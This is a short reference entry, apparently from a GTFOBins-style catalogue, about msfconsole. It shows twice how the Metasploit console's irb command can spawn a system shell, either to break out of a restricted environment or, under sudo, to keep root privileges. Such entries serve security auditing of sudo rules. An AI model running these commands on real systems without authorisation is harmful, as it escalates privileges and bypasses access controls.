This allows to spawn a ruby interpreter.
It can be used to break out from restricted environments by spawning an interactive system shell.
sudo msfconsole
msf6 > irb
>> system("/bin/sh")
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo msfconsole
msf6 > irb
>> system("/bin/sh")